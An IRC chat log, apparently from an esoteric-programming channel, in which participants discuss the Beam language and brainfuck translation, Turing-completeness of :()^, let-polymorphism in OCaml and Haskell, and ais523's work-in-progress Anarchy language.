17:50:42 <elliott> Well, you don't necessarily know it's the *only* way. :p
17:52:45 <fizzie> Yes, and you can certainly *do* things with ? and !, just as long as the thing you're doing is doable in a ping-pong-loopy way.
17:53:08 <mroman> ? and ! are useful instructions yes.
17:54:01 <elliott> @ask oerjan Is ():^ TC when limited to a certain depth of textual nesting of ()s?
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18:06:25 <mroman> I can store stdin in every odd cell.
18:07:35 <tswett> elliott: in addition to being my baby nephew, you are now an alien.
18:09:35 <elliott> @ask oerjan What about when the total number of ()s is limited?
18:15:16 <mroman> http://fpaste.org/V9nx/raw/
18:15:23 <mroman> but never terminates :D
18:22:39 <elliott> Dammit, prgmr want my money.
18:22:49 <mroman> http://fpaste.org/qpxo/raw/ <- and there it is
18:24:00 <mroman> the ? maybe useless there
18:24:25 <elliott> is that with whimp or without?
18:27:36 <mroman> http://fpaste.org/8xu0/raw/ <- cleaned up
18:28:01 <mroman> So. It is totally possible to write beam programs without bf2beam but sucks like hell :D
18:28:22 <elliott> happy australian mailman mailing list reminders day!
18:28:30 <mroman> that << is redundant maybe
18:29:31 <fizzie> My version was http://p.zem.fi/u8ld
18:32:11 <mroman> that's the same as >`) if you prepare the store to be even/odd
18:32:59 <fizzie> Yes, it could be >`) there. I just used (`) since it's what I had in that bf2beam, and it looks sort-of more symmetric.
18:33:26 <fizzie> It's never going to go left anyway.
18:33:43 <fizzie> There's still quite a lot of rolling the store around.
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18:34:41 <mroman> Yours runs in 4068 cycle with my test stdin
18:35:48 <mroman> mine runs in 4319 cycles.
18:36:50 <mroman> May I add your version also to the wikipage?
18:37:15 <fizzie> Sure, sure. Though it's not really very different.
18:37:47 <mroman> your output loop runs faster.
18:38:10 <mroman> H(`p@p`)H is probably faster than my circular loop
18:42:49 <fizzie> http://p.zem.fi/roto <- this version might be even faster, since it doesn't need to roll the store to 0 and back.
18:44:57 <elliott> fizzie: Hey, are you [[User:fizzie]] or [[User:Fizzie]]?
18:46:23 <fizzie> mroman: You can also write it a bit more compactly if you "bend" the vertical bit, as in http://p.zem.fi/lggf -- though that's probably a tiny bit slower since it has the \.
18:46:36 <fizzie> elliott: I don't really know. I think I might have an "F" there for some reason.
18:47:03 <elliott> fizzie: Well, yes, MW enforces that. But I can link to you as the lowercase version, if you want.
18:47:10 <mroman> fizzie: 342. It's a little bit slower, yes.
18:48:05 <fizzie> elliott: Oh. Well, I don't know, if the uppercased is the "official"-by-MW one, that one's fine too. (After all, I was in fact "Fizzie" once in IRC too.)
18:48:53 <mroman> that is pretty darn clever.
18:49:06 <elliott> fizzie: Well, it's not really official, in that [[User:fizzie]] works just fine and you can put {{lowercase}} on a page to make it show that way. But I'll go for the capital F then.
18:49:41 <fizzie> fungot: Would you prefer to be written in Beam? (No, I'm not planning a rewrite.)
18:49:42 <fungot> fizzie: so you want to do is press the keys, relaxed. apart from that
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18:51:26 <elliott> fizzie: Oh, I see you linked yourself as F on the page itself.
18:53:11 <fizzie> Mmmaybe. I probably didn't think the lowercase would work. But I don't hold that firm onions on the spelling.
18:53:50 <elliott> Graue linked to me as [[User:Ehird]] and it hurt. :(
18:55:45 <mroman> I'm going to change unknown computional class to turing-complete for Beam.
18:56:18 <elliott> That seems reasonabible, given fizzie's conversator.
18:56:26 <elliott> Aaargh, his typos are infecting me again.
18:57:23 <mroman> I'm not a native speaker, I have an excuse!
18:58:42 <elliott> Whenever he talks I start talking like him.
18:59:27 <fizzie> I speak the king's standomatic English, don't be all flubflub about it.
18:59:34 <olsner> hmm, I fixed functions recursing to themselves using an ugly hack, but that hack does nothing to allow two mutually recursive functions (eval and apply, say)
18:59:51 <elliott> olsner: sounds like you have TRE but want TCO?
18:59:52 <elliott> olsner: sounds like you have TRE but want TCO?
18:59:58 <elliott> Oh well, a few more times, then.
18:59:59 <elliott> olsner: sounds like you have TRE but want TCO?
18:59:59 <elliott> olsner: sounds like you have TRE but want TCO?
19:00:00 <elliott> olsner: sounds like you have TRE but want TCO?
19:00:51 <fizzie> It's like standard, except more so.
19:00:56 <olsner> elliott: no, none of those, I'm talking about the basic ability to even call the function
19:01:07 <elliott> mroman: (It's also not a word, to clarify.)
19:02:49 <elliott> Hey fizzie, can I delegate the making of this esolang to you, now that I've thought of it?
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19:04:32 <olsner> I think I'll just go ahead and build a heap-like thing that I can pass around and mutate stuff inside
19:04:35 <fizzie> Probably not. I don't get things done.
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19:05:14 <elliott> fizzie: LIKE EDITING THE GRASP PAGE, EH
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19:36:18 <fizzie> mroman: Incidentally, if you wanted to wimp-mode things up without adding any instructions, you could just modify u/n to test "beam != mod(store,256)" instead of "beam != store". That would make the brainfuck aaa[bbb]ccc translation pretty trivial:
19:36:22 <fizzie> aaa >Ln+Lp! bbb v> ccc
19:36:35 <fizzie> But it's of course a cheat as much as the x.
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19:47:10 <mroman> to test for zero you have to set store to 256*n?
19:47:29 <mroman> you'd use every 256th cell?
19:49:55 <fizzie> No, you can just do it like above.
19:50:30 <fizzie> Use Ln+Lp to do "come from left, go down if beam is zero, continue right if nonzero".
19:51:19 <fizzie> (After L, beam == mod(store,256) always so it won't go down when hitting the n from the left; after L+, beam != mod(store,256) always, so it will go down when hitting the n from the right.)
19:51:36 <fizzie> Sorry, I mean Ln+Lp!, of course.
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19:52:36 <zzo38> People argue about time paradixes and that stuff in [[Talk:TwoDucks]] esolang wiki article
19:52:42 <zzo38> s/paradixes/paradoxes/
19:52:56 <mroman> you wan't to test for beam == zero
19:54:55 <mroman> beam = (store % 256); if (beam != (store % 256)) { go down }
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19:55:29 <mroman> beam++; beam = memory[store]; if(beam != 0) { reverse }
19:55:50 <fizzie> You missed the second L.
19:56:15 <mroman> why do you increment beam if you just reload it an instruction later?
19:56:25 <fizzie> It's for when we're going backwards.
19:56:52 <fizzie> The n+L bit, when hit from the right, will always go down on the n.
19:57:26 <fizzie> Since ((store % 256) + 1) != (store % 256).
19:58:18 <mroman> That would enable one to detect reversing?
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20:11:33 <ion> Salad Fingers is great.
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20:19:50 <lambdabot> elliott asked 2h 25m 47s ago: Is ():^ TC when limited to a certain depth of textual nesting of ()s?
20:19:51 <lambdabot> elliott asked 2h 10m 13s ago: What about when the total number of ()s is limited?
20:20:29 <oerjan> to the first, i should think so since any given TM has a limit and there are universal TMs
20:20:35 <olsner> oerjan and elliott, synchronized at last
20:20:52 <olsner> well, temporarily at least
20:21:13 <elliott> oerjan: approaching fancy-L, there
20:21:23 <fizzie> oerjan: Have you, or have you not, been swapped with an alien changeling thing?
20:21:35 <oerjan> to the second, well you can do an arbitrary large unary with only :'s, so i think so
20:21:54 <oerjan> um s/TM/minsky machine/g
20:22:01 <elliott> but i suppose you just need to prefix the program with (interp of another TM)*...
20:22:17 <oerjan> fizzie: if i have they did in a very amnesiac fashion
20:22:25 <fizzie> oerjan: O kay. It's just that I've heard rumours of an "oerjanswap".
20:23:06 <oerjan> fizzie: yes. i think ais523 invented that name.
20:23:19 <oerjan> in other news, i've been lately looking at Qdeql.
20:29:31 <oerjan> hm i was going for finite length tape brainfuck but i've suddenly seen that a tape of bytes may not be much harder...
20:31:06 <elliott> oerjan: my idea about :()^ was that, you could fix the structure
20:31:17 <elliott> in that, if a certain fixed structure of ()s suffices for TCness, you don't actually need the ()s
20:31:25 <elliott> so it could be "tarpitted" in a way
20:31:37 <elliott> (and the result might be useful for proving languages TC, since it's so simple)
20:35:18 <oerjan> i'm not sure if what you're saying is trivial or not :P
20:37:04 <elliott> I don't know what you mean
20:38:58 <oerjan> i mean that you have not actually described your idea
20:39:23 <oerjan> or maybe i should read the logs
20:39:37 <elliott> oerjan: well the idea wasn't complete, obviously...
20:39:47 <elliott> I just meant that if :()^ with a fixed structure of ()s
20:39:54 <elliott> (hole(hole)hole)hole or whatever
20:39:58 <elliott> was TC, then you could omit the structure entirely
20:40:14 <elliott> and maybe it could be simple enough to end up as a tarpit (so you could have a much simpler structure than fully-nested parens and the like)
20:40:20 <elliott> which would make it useful for proving ultra-simple languages TC
20:40:22 <oerjan> how could you do that.
20:41:04 <elliott> ...excuse me for thinking about an idea before i have every single concrete detail down.
20:41:17 <elliott> i'll make sure to have a full program skeleton next time
20:41:49 <oerjan> it's just that it seems to me that such a thing would be very hard to do without a and *
20:43:10 <oerjan> because one of the properties of :()^ is that you cannot really get below the upper element without destroying it. in particular, you cannot copy more than one element on the stack.
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20:43:53 <elliott> i don't think you understand my idea
20:44:08 <elliott> it's simply to fix the nesting structure of the ()s
20:44:19 <elliott> say you can translate every TM to something of the form
20:44:27 <elliott> (anything)(anything(anything))anything
20:44:31 <elliott> where anything isn't allowed to contain ()s
20:44:34 <elliott> (and is a different anything each time, obviously)
20:44:38 <elliott> then you don't actually need to include the ()s
20:44:44 <elliott> you can encode it as [anything,anything,anything,anything]
20:44:48 <oerjan> oh, so it's just a different syntax?
20:44:49 <elliott> which removes nesting from the program structure
20:45:03 <elliott> oerjan: well yes, but the idea would be to make it so that you can implement it without actually caring about the nesting...
20:45:20 <elliott> the point is that :()^ is very close to something like BCT in terms of how simple its operations are
20:45:30 <elliott> except for requiring the juggling of nesting
20:45:31 <oerjan> well fine, you're welcome to try.
20:49:22 <mroman> chickenz: How are you coming along with the python interpreter?
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20:52:21 <ais523> I've been learning OCaml polymorphic variants
20:52:40 <ais523> which are about halfway to Anarchy, and thus cut out about half the boilerplate in compilers
20:52:43 <ais523> while improving type safety
20:53:21 <ais523> also, I've been trying them out on typed Underload, it really demonstrates exactly what OCaml's type system's deficiencies are
20:54:06 <ais523> happy australian mailman mailing list reminders day!
20:54:20 <zzo38> What are those deficiencies?
20:55:13 <ais523> zzo38: let x = q(4) in x // x doesn't do the same thing as q(4) // q(4)
20:55:50 <ais523> (q(4) does the same thing as (4) in Underload, it's just in a different syntax)
20:55:55 <elliott> ais523: because of strictness?
20:56:05 <ais523> elliott: because the first requires both 4s to be pushed onto the same type of stack
20:56:06 <elliott> you can't expect that property in a strict languae
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20:56:16 <elliott> ais523: oh, that's not really a deficiency
20:56:21 <ais523> which thus constrains the stack to be made entirely out of ints
20:56:26 <elliott> ais523: realise that the same applies to lambda parameters
20:56:33 <ais523> elliott: that's a deficiency too!
20:56:48 <elliott> ais523: i believe you will find fixing that makes the whole thing undecidable.
20:56:54 <elliott> oerjan wrote something about that once iirc.
20:58:38 <elliott> oerjan: that is your cue to link to it.
21:00:03 <Taneb> The people designing Windows must have thought: "Who has customers that we don't!? Oooh, some people use Ubuntu! Why are they successful... hmm, they just changed there default GUI and made it weird! We can do that /even better/"
21:00:12 <ais523> elliott: I thought you might be able to make it decidable by, rather than working out the types in the abstract, working them out on demand
21:00:39 <ais523> Taneb: I consider the whole Gnome 3 / Unity / Windows 8 fiasco as proof that Windows not only copies Linux distributions' good ideas, but also their bad ideas
21:00:54 <elliott> ais523: yes, that is called dynamic typing
21:01:06 <ais523> elliott: but calculated at compile time
21:01:18 <ais523> this clearly works with dynamic typing, the challenge is to make it work with static typing too
21:01:20 <elliott> true, it probably works if you make it a contradiction
21:02:30 <ais523> Minix 3.2 released? people are still working on that?
21:02:38 <ais523> (main change: they replaced their userland with BSD's)
21:02:54 <oerjan> elliott: i don't think i wrote anything major, but it did come up regarding Chris Diggins's Cat language. iirc it's undecidable to determine whether a set of word concatenation equations are solvable, which is what you need to type a stack language flexibly.
21:04:14 <oerjan> i think cdiggins decided to make Cat less polymorphic to avoid that quagmire.
21:04:31 <elliott> oerjan: i was referring to your SO answer
21:05:37 <oerjan> oh that was for lambda calculus. and the undecidability is just an obvious detail (because getting that kind of type for a term proves it halts.)
21:06:31 <elliott> yes, but ais523 is talking about ML.
21:06:35 <elliott> so lambda calculus is relevant
21:07:03 <oerjan> well yes. but the word problem is much more directly relevant to why stacks mess things up.
21:07:09 <elliott> he is complaining that "let x = y in e" is not the same as e[x := y]
21:07:11 <ais523> well, Anarchy isn't ML, I've just been using OCaml and Haskell to try it out
21:07:16 <elliott> because x is forced to have the same type for all uses in e
21:07:26 <elliott> so he's not really talking about stacks.
21:07:33 <elliott> except that he's using some stack combinators he made to complain about it
21:07:39 <ais523> stacks are just one possible application
21:07:44 <ais523> they're not even the main one
21:07:52 <oerjan> elliott: actually let x = y in e _is_ the same as e[x := y]. it's not the same as (\x -> e) y, though.
21:08:23 <elliott> oerjan: well not in OCaml.
21:08:27 <ais523> oerjan: oh, I was referring to the usual desugaring of let in terms of lambdas
21:08:35 <elliott> oerjan: I think that's true for Haskell, though
21:08:39 <oerjan> elliott: hm doesn't ocaml let give polymorphism?
21:08:40 <ais523> and I think OCaml does that too, either explicitly or effectively
21:08:50 <elliott> oerjan: note that recent GHC don't generalise let by default nowadays
21:08:57 <ais523> oerjan: it gives the '_a types that collapse when you use them once
21:09:05 <ais523> if you don't specify an argument
21:09:17 <ais523> I think let x eta = y eta in e gives you a polymorphic let
21:09:30 <ais523> I've been adding etas all over the place for that reason
21:09:48 <oklopol> so any ppl here from spain?
21:10:02 <oklopol> i'm having this conference next week there
21:10:12 <oerjan> that's sort of a point of hindley-milner, and my "iirc" is that its let polymorphism gives precisely the same typing as substituting the definition at every use. i vaguely think recursion may mess that up though.
21:10:36 <oklopol> i will buy a beer to anyone who shows up and gives sufficient proof of #eso regularity
21:11:04 <oklopol> oerjan: oerjanswap is awesome
21:11:21 <Taneb> oklopol, what's the conference on?
21:11:24 <ais523> oerjan: IIRC damas-milner is the inference algo, hindley-milner is the type system, right?
21:11:37 <oklopol> "iirc it's undecidable to determine whether a set of word concatenation equations are solvable, which is what you need to type a stack language flexibly." actually that's solvable
21:11:48 <oklopol> but we can't actually give the solutions
21:12:03 <oklopol> Taneb: http://grammars.grlmc.com/lata2012/Program.php
21:12:07 <ais523> I thought it was just NP-hard, rather than unsolvable
21:12:45 <elliott> ais523: "The origin of this algorithm is the type inference algorithm for the simply typed lambda calculus, which was devised by Haskell Curry and Robert Feys in 1958. In 1969 J. Roger Hindley extended this work and proved that their algorithm always inferred the most general type. In 1978 Robin Milner,[2] independently of Hindley's work, provided an equivalent algorithm, Algorithm W. In 1982 Luis Damas[1] finally proved that Milner's algorithm i
21:12:45 <elliott> s complete and extended it to support systems with polymorphic references."
21:12:51 <elliott> "In type theory, Hindley–Milner (HM) (also known as Damas–Milner or Damas–Hindley–Milner)"
21:13:00 <oerjan> ais523: anyway i think your idea of solving types on demand corresponds to keeping around such word equations as a (possibly undecidable) constraint problem.
21:13:21 <ais523> oerjan: hmm, seems about right
21:13:35 <ais523> actually, I'd be very surprised if Anarchy's type system /were/ generally decidable, you'd expect it to be TC
21:13:47 <ais523> what's more important is being decidable when it's actually used in practice
21:14:07 <elliott> I love it when I use the compiler in a way ais523 doesn't expect me to, and the compiler loops forever.
21:14:29 <ais523> elliott: can you or can't you do infinite loops in the type system in Haskell or C++?
21:14:38 <ais523> Anarchy's type system is /more/ powerful than those, so you'd expect it to have the same property
21:14:51 <oerjan> <ais523> stacks are just one possible application <-- hm ok
21:15:30 <elliott> ais523: No, and I don't know.
21:15:48 <oerjan> <elliott> oerjan: note that recent GHC don't generalise let by default nowadays <-- only when certain extensions are in effect iirc
21:15:52 <ais523> you can embed lambda calculus in Haskell's type system, can't you?
21:16:26 <oklopol> http://books.google.fi/books?id=x3P0fb8GMyYC&pg=PA44&lpg=PA44&dq=makanin+1976&source=bl&ots=8FLRGaXetI&sig=2jHBYF_uDGrtdsBY0TuLZ52mdl8&hl=fi&sa=X&ei=hZVOT-bLENOK4gTPyNjuAg&ved=0CB4Q6AEwAA#v=onepage&q=makanin%201976&f=false
21:16:41 <mroman> I thought lc has no type system.
21:16:57 <oerjan> <ais523> oerjan: it gives the '_a types that collapse when you use them once <-- oh right, the value restriction (only slightly similar to haskell's monomorphism restriction)
21:16:59 <ais523> mroman: right, untyped LC doesn't, but that doesn't mean you can't use a type system to implement it
21:17:48 <oerjan> <oklopol> oerjan: oerjanswap is awesome <-- thanks
21:18:00 <ais523> hmm, I should see if I can work out exactly why :> exists in OCaml
21:18:05 <ais523> something to do with soundness of the type system
21:19:00 <elliott> oerjan: click oklopol's link btw
21:19:02 <oerjan> <oklopol> but we can't actually give the solutions <-- oh. well i guess you don't need the solutions just to prove it's safe to run a program.
21:19:05 <oklopol> and apparently the problem is known to be in PSPACE as of 2004, this i was not familiar with
21:19:23 <oklopol> elliott: why would he not see my link_
21:19:27 <elliott> oh you're up in the backlog
21:20:15 <oklopol> we did the case where each variable occurs at most twice on a course, but i think makanin's result is considered rather deep
21:20:17 <ais523> aa((!((aa)(!))))*:*^!**^a*^a*aa*(*:*^!**^)*^
21:21:13 <oklopol> lol i just noticed the guy who wrote that chapter also gave the course i was on :D
21:21:37 <oklopol> (he's a famous word equationist)
21:22:18 <oerjan> <elliott> by default <-- erm http://www.haskell.org/ghc/docs/latest/html/users_guide/other-type-extensions.html#mono-local-binds disagrees.
21:22:36 <oerjan> or is that _very_ recent.
21:23:47 <elliott> "Here's the rule. With -XMonoLocalBinds (the default), a binding without a type signature is generalised only if all its free variables are closed."
21:23:49 <elliott> -- http://hackage.haskell.org/trac/ghc/blog/LetGeneralisationInGhc7
21:24:08 <ais523> so what exactly is the monomorphism restriction in Haskell?
21:24:16 <oklopol> so will no one come to spain with me?
21:24:29 <elliott> ais523: top-level bindings with no arguments are forced to have a monomorphic type
21:24:49 <elliott> ais523: see http://www.haskell.org/onlinereport/decls.html#sect4.5.5
21:24:53 <ais523> elliott: hmm, OK, that's pretty much exactly the same as OCaml
21:25:00 <ais523> you can work around it simply via eta expansion, right?
21:25:15 <ais523> (and unlike in OCaml, eta-expansion doesn't even change the meaning of a program in Haskell)
21:25:15 <oerjan> <elliott> oerjan: click oklopol's link btw <-- the abstract looks speculative. (also i don't feel like reading the rest.)
21:25:24 <fizzie> ais523: I have a reasonably strong belief that there's LC (as well as direct Turing machine simulators) done in C++ templates. Of course most compilers tend to run into some template recursion depth limits in practice.
21:25:34 <elliott> ais523: you can work around it just by specifying a type signature
21:25:35 <oklopol> oerjan: just the specific place i link
21:25:41 <elliott> ais523: and no, eta-expansion changes meaning in haskell
21:25:53 <ais523> hmm, even on things with function types?
21:25:58 <ais523> (obviously you can't eta-expand arbitrary types)
21:26:15 <mroman> oklopol: To spain to what?
21:26:18 <ais523> I am having an increasing urge to make Anarchy total
21:26:27 <oklopol> mroman: to have a beer with me
21:26:33 <elliott> ais523: you don't need totality to fix that.
21:26:34 <oklopol> oerjan: also what abstract? :D
21:26:37 <ais523> because it really doesn't need to be able to do infinite loops, and totality makes things so much simpler
21:26:42 <ais523> elliott: right, it'd be to fix other things too
21:26:59 <ais523> I've just sat through several weeks of seminars on when exactly eta-expansion works and when it doesn't
21:27:04 <zzo38> What is this Anarchy?
21:27:13 <elliott> ais523: note that haskell 1.4 did not have this issue.
21:27:48 <oerjan> oklopol: oh wait i read the abstract for the first article. that thing is too long to even _find_ what article you really wanted me to see.
21:27:57 <ais523> right, it's because seq combined with _|_ together expose the concept of how far something's been forced
21:28:25 <oerjan> also please stop trying to make me use my brain, i have a headache and i need to eat WAAAAAAAAAAAAAAA
21:28:30 <oklopol> oerjan: doesn't it directly give you the line that states the relevant result?
21:28:39 <Taneb> <zzo38> What is this Anarchy? <-- I want to know too, ais523
21:28:41 <elliott> oerjan uses a shitty browser though so maybe it's broken for him
21:28:45 <oklopol> also see Problem 4, what the fuck >D
21:28:53 <ais523> Taneb: basically, WIP language, arguably esolang, arguably serious
21:28:55 <oklopol> i will so solve that tomorrow
21:28:56 <ais523> which is designed for writing compilers
21:29:09 <ais523> and has a static type system that's designed to allow you to do as much as possible
21:29:12 <ais523> and no link, it's a WIP
21:29:24 <ais523> it's half sugar, half crazy typing
21:29:32 <ais523> hmm, I have an Anarchy program open atm, I'll paste it
21:29:35 <elliott> class Eval a where seq :: a -> b -> b
21:30:13 <ais523> http://sprunge.us/iQMG
21:31:31 <ais523> note: I am far from certain that "let compose a = | _ -> (compose_lambda a)" is correct
21:31:35 <ais523> I need to think about it more
21:31:47 <elliott> that program is unreadable
21:32:20 <oerjan> <ais523> elliott: hmm, OK, that's pretty much exactly the same as OCaml <-- um the haskell version only applies when there are _type class_ constraints. this is because such constraints are essentially passed as hidden dictionary parameters, and the report people decided they didn't want to let that happen stealthily because it makes values potentially unshared without a syntactic clue.
21:32:27 <ais523> I think it possibly actually should be "let compose a = | _ -> _ = (compose_lambda a _)", which would require a syntax extension
21:33:13 <ais523> (the current code is equivalent to "let compose a = | _ -> _ = (compose_lambda a) _", which looks the same to people who are used to the existence of currying, but Anarchy doesn't do currying)
21:33:15 <oerjan> <ais523> (and unlike in OCaml, eta-expansion doesn't even change the meaning of a program in Haskell) <-- except if you use seq.
21:33:30 <ais523> oerjan: right, elliott corrected me on that already
21:33:48 <ais523> elliott: what don't you like about it? I already changed the parser to allow = | to be sugared into just =
21:35:01 <oerjan> <oklopol> oerjan: just the specific place i link <-- oh hm. this _might_ be hitting a bug i've sometimes seen where IE doesn't find link anchors in large documents.
21:35:48 <ais523> so far, wrt implementing Anarchy, I have just a parser
21:35:54 <ais523> and I've been compiling it to OCaml and Haskell by hand
21:36:42 <ais523> one nice thing I discovered is that it's possible to retrofit polymorphic variants onto statically-typed languages that don't have them, so long as they have first-class functions and tuples
21:36:56 <elliott> oerjan: google docs overrides the anchor-handling with js anyway i would assume
21:36:58 <oerjan> <oklopol> oerjan: page 44 <-- ok, found it
21:37:06 <zzo38> I have written some idea too, about some programming language codenamed "Ibtlfmm", where the type system includes implementation of mathematical laws of classes
21:37:13 <elliott> <oerjan> <ais523> elliott: hmm, OK, that's pretty much exactly the same as OCaml <-- um the haskell version only applies when there are _type class_ constraints. this is because such constraints are essentially passed as hidden dictionary parameters, and the report people decided they didn't want to let that happen stealthily because it makes values potentially unshared without a syntactic clue.
21:37:31 <elliott> <ais523> elliott: what don't you like about it? I already changed the parser to allow = | to be sugared into just =
21:37:43 <ais523> it's easier than Haskell!
21:37:53 <elliott> also, "(f a) b" is hideous
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21:38:03 <ais523> elliott: it's for clarity
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21:38:22 <elliott> let compose a = | _ -> (compose_lambda a)
21:38:22 <elliott> that can't be for clarity, that's just nonsense
21:38:35 <ais523> elliott: that's already the line I said I thought was wrong
21:38:41 <Taneb> Phantom_Hoover, making a semi-esoteric language for constructing compilers
21:38:51 <ais523> it parses, but I think it means the wrong thing
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21:39:16 <ais523> also, I'm considering allowing "| _ ->" to be sugared out entirely if it's the only term, but I think that might be more confusing than useful
21:39:35 <elliott> it would be a lot more readable if you put the multi-clause definitions on to multiple lines
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21:39:46 <ais523> yep, nothing stopping you putting newlines there if you like
21:40:00 <ais523> there's only one multiple-clause definition there, though
21:40:16 <ais523> elliott: how is this a criticism of the language?
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21:41:27 <elliott> ais523: i don't recall saying "this language is unreadable"
21:41:50 <ais523> shall I put some newlines in logical places and see if you think it looks any better?
21:42:18 <elliott> perhaps. by multiple clause I actually meant "containing a semicolon"
21:43:34 <ais523> I'm newlining those too
21:44:14 <ais523> you know what? I'm going to add new syntax for closure creation, it's too confusing without it
21:45:04 <ais523> http://sprunge.us/diPZ
21:45:53 <elliott> needs blank lines between definitions
21:45:59 <oerjan> <elliott> "Here's the rule. With -XMonoLocalBinds (the default), [...]" <-- i see that, but everything else on that page seems to disagree with the "(the default)".
21:50:18 <ais523> elliott: anyway, I find the newlined version less readable because of the need for more vertical scrolling
21:51:09 <oerjan> <elliott> oerjan: untrue. <elliott> foo = undefined <elliott> will be defaulted to () <-- no, i'm pretty sure that is wrong.
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21:51:46 <ais523> :define foo = undefined
21:51:53 <ais523> @define foo = undefined
21:52:01 <elliott> inb4 <ais523> haskell is unusable!
21:52:09 <ais523> elliott: nah, this is just a lambdabot thing
21:52:32 <ais523> Prelude> let foo = undefined
21:52:32 <elliott> hint: it uses the same syntax as haskell
21:52:47 <elliott> in that it uses different defaulting rules
21:53:33 <elliott> lambdabot is unreliable too.
21:53:38 <elliott> it uses several extensions
21:54:03 <ais523> *** Exception: Prelude.undefined
21:54:42 <lambdabot> Occurs check: cannot construct the infinite type: t = t -> t1
21:54:42 <lambdabot> Probable cause: `x' is applied to too many arguments
21:54:47 <ais523> :t let x = undefined in x x
21:55:07 <ais523> I'm getting the same result in ghci
21:55:14 <oerjan> indeed foo foo cannot possibly type in haskell unless foo is polymorphic
21:55:18 <ais523> although I can agree that neither might be reliable
21:55:28 <ais523> oerjan: that's why I'm using it as a test of polymorphism
21:55:30 <elliott> yes, let x = undefined in x x works
21:55:32 <oerjan> ais523: i think to satisfy elliott you need to put foo = undefined in a module.
21:57:11 <elliott> i'm not sure you remember the part where i conceded.
21:57:14 <ion> Hmm, how *does* the “x x” work? What’s the inferred type of x in that case?
21:57:29 <ion> @type let x = undefined in x `asTypeIn` \y -> y y
21:57:30 <lambdabot> Occurs check: cannot construct the infinite type: a = a -> b
21:57:30 <lambdabot> Probable cause: `y' is applied to too many arguments
21:57:39 <oerjan> ion: a -> a for the first x and a for the second
21:58:24 <ais523> hmm, I can't tell what that does from the type signature
21:58:43 <oerjan> :t asTypeOf -- i think you mean this one
21:58:47 <ion> > let f = show in f f
21:58:48 <lambdabot> Overlapping instances for GHC.Show.Show (a -> GHC.Base.String)
21:59:55 <ais523> so astypein asserts that its first argument is a valid argument to its second argument?
21:59:56 <oerjan> > f (f :: Expr) :: Expr
22:00:18 <elliott> asTypeIn takes parameters as per its type signature.
22:00:22 <elliott> it returns the first and ignores the second
22:00:37 <ais523> elliott: I'm thinking along the lines of "static assertion"
22:00:39 <ion> @src asTypeIn
22:00:43 <ais523> i.e. forcing something to be true at compile time
22:00:50 <ais523> all type annotations are those, but it's a more general term
22:00:51 <elliott> ais523: it is not used as an assertion, it is used for unification
22:01:25 <ais523> I keep forgetting that compilers aren't sufficiently smart yet
22:02:26 <ais523> gah, seriously, you consider this newlined Anarchy program more readable than the original?
22:02:41 <ais523> I can hardly read it, not dense enough, and it moves too much vertically
22:02:43 <ais523> let me try something else
22:02:52 <elliott> ais523: it's not readable, no
22:02:57 <elliott> it still needs the newlines between definitions which you did not add
22:05:18 <ais523> OK, here we go: http://sprunge.us/MdUD
22:05:27 <ais523> using horizontal rather than vertical whitespace
22:07:36 <ais523> there's no way that program's more readable if it takes up an entire two vertical screenfuls
22:07:38 <elliott> less readable than the original
22:07:43 <ais523> as you have to keep scrolling to see it at all
22:08:05 <ais523> probably needs more space around the ->
22:08:10 <ais523> but apart from that, I like this syntax
22:08:38 * ais523 is coming to think that elliott's and eir own spacing preferences, for things in general not just programming languages, are fundamentally incompatible
22:09:04 <elliott> the problem is that you're wrong about everything and I'm right about everything
22:10:09 <ais523> oklopol: so what's your opinion on this formatting question?
22:11:07 <oklopol> my opinion on everything atm is that i wonder whether finite nontrivial posets can be the language poset of a 2D SFT
22:12:09 <oklopol> i think it applies well enough here
22:12:42 <oklopol> also i think both look nice
22:12:59 <ais523> I think that given that Anarchy doesn't do currying, I like explicitly doing "f ?" to mean "fun x -> f x"
22:15:03 <elliott> how is that distinct from f?
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22:17:15 <ais523> elliott: it isn't, but f might be an expression, that can't be directly returned without the ?
22:17:29 <ais523> as in, the ? is explicitly marking that we're returning a closure
22:18:35 <ais523> normally if you mention a function in Anarchy, it gets applied to something
22:20:14 <elliott> oh, f differs from (fun x -> f x) because f can have side-effects
22:20:27 <elliott> yet another dumb thing about impure languages
22:20:30 <ais523> actually, I haven't thought about that yet
22:20:47 <ais523> not even sure if Anarchy is pure or not; I have some impurities in the spec currently, but am thinking about changing it
22:21:17 * elliott considers installing HTTPS Everywhere
22:21:24 <elliott> ais523: you have assignment
22:21:39 <ais523> = in Anarchy is more like a let-binding
22:21:45 <ion> It’s liberating when *everything* is in unsafePerformIO!
22:21:47 -!- tzxn3 has quit (Read error: Connection reset by peer).
22:21:57 <ais523> if you see "b = x", read it as "let b = x in"
22:22:07 <ais523> and then put a copy of the original pattern at the end of the line
22:23:05 <ais523> so you can read replace_head as "replace_head x u = match u with E _ b -> let b2 = x in E _ b2"
22:23:22 <ais523> (I renamed one of the bs to show that they're different variables)
22:24:31 <ais523> why do people look at an = in a language and assume it's assignment?
22:24:39 <ais523> arguably it's SSA, but that ofc isn't impure
22:25:36 <ais523> not most Haskellish/OCamllish languages
22:25:42 <ais523> in OCaml, = is binding, := is assignment
22:25:51 <ais523> and you'd expect Anarchy to be much the same, given the syntax resemblences
22:26:25 <Phantom_Hoover> In a basic, intuitive understanding, binding is pretty similar to assignment.
22:27:20 <ais523> but one's pure and the other isn't
22:27:50 <elliott> ais523: because it's not in the context of an obvious expression in your code
22:27:56 <elliott> and you use imperative structures like ;
22:28:32 <ais523> anyway, there are a couple of effects I'm considering for Anarchy, name generation and constraining
22:28:40 <ais523> but not assignment, it's too ugly
22:29:09 <elliott> if name generation means a symbol u such that u never equals u, then that's gross :(
22:29:29 <ais523> elliott: it's more or less that, but that by itself is indeed gross
22:29:57 <ais523> I'd only add it if I could find a more controlled way to do it
22:31:04 <ais523> basically, adding constraints to a constraint solver
22:31:09 <ais523> and getting an exception if they're no longer satisfied
22:31:22 <elliott> that doesn't sound impure to me, as long as the exception is at a high enough layer
22:31:27 <elliott> i.e. more like "no solutions" in Prolog than an error
22:31:29 <oerjan> <oklopol> well mine is how oerjan wanted it to be solved <-- my impression is that ais523 is concentrating on how i build my subroutine but oklopol on how i'm using it?
22:31:44 <oerjan> (re oerjanswap understanding discussion)
22:31:45 <ais523> elliott: it's no more impure than _|_ is
22:32:00 <oklopol> i don't think so based on the discussion that followed
22:32:01 <elliott> ais523: well, it's impure if it can cause other code outside its scope to be _|_ when they wouldn't otherwise be
22:32:18 <elliott> ais523: but if it's "constrain C in E" then it should be fine
22:32:36 <oklopol> actually now that i recall the reverse-engineering of the subroutine, that does sound very similar to what ais said
22:33:12 <ais523> hmm, I was originally planning a C that worked outbound as well as inbound
